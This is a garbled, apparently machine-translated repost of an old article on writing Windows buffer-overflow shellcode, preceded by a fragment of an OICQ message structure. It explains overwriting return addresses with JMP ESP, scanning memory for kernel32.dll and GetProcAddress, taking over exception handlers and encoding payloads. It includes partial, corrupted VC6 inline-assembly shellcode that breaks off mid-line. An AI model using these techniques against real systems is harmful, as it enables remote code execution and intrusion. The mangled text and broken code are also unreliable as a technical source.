CHAR TAG5; // 0x78 char TAG6; // These two bytes are equivalent to process IDs on UNIX, char tag7; // can assign values. CHAR coICQNUB []; // The sender's OICQ number. Exp: 123456 CHAR CFF; // 0x1f In all OICQ information structure, the split is 0x1f char cr; // '0' fixed char cff; // char ce []; // "75", this bit Relatively fixed, it is possible to operate. Char cff; char cdatetime []; // exp: "2000-4-10", 0x1f, "12:00:12", 0x1f char output message content. CHAR CEND; // 0x03, all OICQ information has been 0x03 to end. }; * / D: SHELLCODE advanced techniques of writing under the windows: yuange (mailto: yuange@nsfocus.com) unix systems because of the user concept, so often overflows are using to get the general account, and then use the overflow reload after landing A shell method gets root privilege, its system call is convenient, so shellcode is generally relatively simple. However, Windows systems often do not provide login services, so shellcode, which is overflowed, often provides a Socket connection. To load the program to get the shell, and the Windows system call INT2E interface is not as good as the Unix system calls the Int80 specification, so the API is usually used, and API The function address is not the same because the system version is different, so we must write WIN.

Dows are more practical, and gelCode, which is common, is more troublesome. After a period of thinking, I received a better way to write shellcode under Windows. 1, the overflow point is determined. This way to cover a RET instruction address using the overflow point, as long as you know the overflow point is approximately a range. 2, shellcode positioning. Use the ESP register to locate, as long as the over-covered RET address is placed in the command address of the JMP ESP function. 3, the RET command address, the JMP ESP function command address uses the address, 54 C3, or FF E4, and the Windows address of the C3 in this language is also very good to find this address. 4, Shellcode directly using C language, easy to write, modify, and debug. 5, shellcode unified encoding, meet the application conditions to the SHELLCODE character, with a small assembly code solution, so that shellcode can be used to consider special characters. 6, communication encryption, dealing with firewall, implementing FTP functions, implementing advanced applications of memory directly to Web services. The following main introductions the introduction to the method of writing general shellcode. The API used in the main shellcode is positioned with GetProcadDress, and the library is used to load it with LoadLibrarya. That case shellcode just relys on these two APIs. The address of these two APIs is solved, LoadLibrarya This API can be obtained in the system library kernel32.dll, or you can get GetProcAddress. That is to find the address of the system library kernel32.dll and getProcaddress. Because the general application loads kernel32.dll, the solution is to find this system library and API address in memory. Fortunately, I know that the module data structure of Windows is not difficult, mainly to increase abnormal structure processing. The following is VC6.0 program code: void shellcodefn () {INT * except [3]; farproc procgetadd = 0; char * stradd; int IMGBase, Fnbase, i, k, l; handle librandle; _ASM {JMP nextcall Getstradd: Pop STRADD LEA EDI, Except Mov Eax, DWORD PTR FS: [0] MOV DWORD PTR [EDI 0x08], EX MOV DWORD PTR FS: [0], EDI} Except [0] = 0xffffff; ExcePt [1] = stradd- 0x07; / * Save an abnormal structure chain and modify the abnormal structure chain, Shellcode take over abnormal * / imgbase = 0x77e00000; / * Search Kernel32.dll's starting act Address * / call getExceptretadd} / * Get an abnormal return address * / for (; imgbase <0xBffa0000, procgetadd == 0;) {imgbase = 0x10000; / * module address is 64K unit, speed up speed * / if (imgbase == 0x78000000) IMGBase = 0xBFF00000; / * If this is not searched yet That may be Win9X system * / if (* (word *) imgbase == 'zm' && * (word *) (IMGBase 0x3c)) == 'EP') {/ * module Module head * / fnbase = * (int *) (IMGBASE 0x3c) & #

转载请注明原文地址:https://www.9cbs.com/read-85099.html

New Post(0)